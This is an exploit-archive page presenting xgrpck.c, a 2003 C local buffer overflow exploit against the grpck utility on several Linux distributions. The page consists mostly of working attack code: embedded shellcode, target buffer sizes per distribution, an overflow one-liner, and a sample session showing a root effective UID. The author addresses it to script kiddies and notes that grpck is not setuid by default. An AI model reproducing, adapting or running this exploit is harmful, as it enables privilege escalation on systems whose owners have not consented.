exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xgrpck.c

xgrpck.c
Posted Dec 15, 2003
Authored by Metin Cengiz | Site rsf.gen.tr

/usr/sbin/grpck local buffer overflow exploit. Note that grpck is not setuid by default. Tested on Red Hat 7.3 and 8.0, Cobalt Linux 6.x and 7.x, Debian 2.1 and 2.2, and Mandrake 8.1 and 8.2.

tags | exploit, overflow, local
systems | linux, redhat, debian, mandrake
SHA-256 | 2f0dd037d94f0621fdf5899a98d3b4876af41cefc6e9b04e0ac95bd98280d88a

xgrpck.c

Change Mirror Download
/**** xgrpck.c  /usr/sbin/grpck local buffer overflow exploit
*
**** when you've run xgrpck.c compiled, you'll have euid=0 in system
**** could you send me please your opinion by e-mail or irc. :)
*
**** Users;
*
**** h4x0r & Script Kiddies & Lamers & Newbies for local buffer overflow exploit
*
**** Warning ! Warning ! Warning ! Warning ! Warning !Warning !Warning !Warning
**** Warning ! Warning ! Warning ! Warning ! Warning !Warning !Warning !Warning
**** Warning ! Warning ! Warning ! Warning ! Warning !Warning !Warning !Warning
****
**** -sh-2.05b$ ls -la /usr/sbin/grpck
**** -rwxr-xr-x 1 root root 22316 Aug 28 2001 /usr/sbin/grpck
**** file is not suid +s mod /usr/sbin/grpck
*
* Vuln Sys ;
*
**** ******* Gentoo Linux *** * *** none Tested
**** ******* SlackwareLinux *** * *** none Tested
**** Testing RedHat Linux 7.3 & 8.0 r0073d
**** Testing Cobalt Linux 6.x & 7.x r0073d
**** Testing Mandrake Linux 8.1 & 8.2 r0073d
**** Testing Debian Linux 2.1 & 2.2 r0073d
**** Testing RedHat Linux 6.x all version none root
**** Testing SuSE Linux x.x all version none root

*
**** Target buffers ;
*
**** RedHat 7.3 & 8.0 : 2517
**** Cobalt 6.x & 7.x : 2197
**** Mandrake 8.1 & 8.2 : 2391
**** Debian 2.1 & 2.2 : 2887 / u are change target buffer
****
**** Usage ;
*
**** sh-2.05b$ /usr/sbin/grpck `perl -e '{print"1337"x2520}'`
**** Segmentation fault (core dumped)
**** sh-2.05b$ gcc -o xgrpck xgrpck.c
**** sh-2.05b$ ./xgrpck
**** xgrpck.c /usr/sbin/grpck local buffer overflow exploit
**** manowaR@DALnet www.rsf.gen.tr Rammstein@secureroot.com
*
**** w00w0w0000 ! very nice a Day :-D
**** Buffer: 2520
**** sh-2.05b#
**** sh-2.05b# uname -a
**** Linux localhost 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 GNU/Linux
**** sh-2.05b# cat /etc/redhat-release
**** Red Hat Linux release 8.0 (Psyche)
**** sh-2.05b# id
**** uid=513(scan) gid=513 euid=0(root) groups=1(staff)
*
* manowaR@DALnet www.rsf.gen.tr e-mail : Rammstein@secureroot.com
*
* 10 December 2003 05:13
* Greetz: xmax , irc.ulak.net #root my Channel & my Brothers :PcKiLLeR - Avicenna - Pink-cashmere etc ...
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

/* sh33lc0d3 by xmax@EFnet*/
char sh33lc0d3[] =
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
"\x2f\x32\x39\x3e\x2f\x43\x38";

unsigned long get_sp(void)

{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

int bsize = 2517; /* buffer size for Redhat Linux */


unsigned long addr;
char *buff;
int i;

if (bsize % 6 != 0) {

bsize = bsize + 6 - (bsize % 6); }

buff = (char *)malloc(bsize);
addr = get_sp();
system("clear");
fprintf(stderr, "xgrpck.c /usr/sbin/grpck local buffer overflow exploit\n");
fprintf(stderr, "manowaR@DALnet www.rsf.gen.tr Rammstein@secureroot.com\n\n", addr);
fprintf(stderr, "w00w0w0000 ! very nice a Day :-D \n", addr);
fprintf(stderr, "Buffer: %d\n", bsize);


for(i = 0; i < bsize; i++)
{
*(long *)&buff[i] = 0xbfffe5bc;
}
*(long *)&buff[bsize - 6] = addr;
memcpy(buff + bsize - strlen(sh33lc0d3) - 8, sh33lc0d3, strlen(sh33lc0d3));


execl("/usr/sbin/grpck", "grpck", buff, NULL);

return 0;
}
/* manowaR */
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close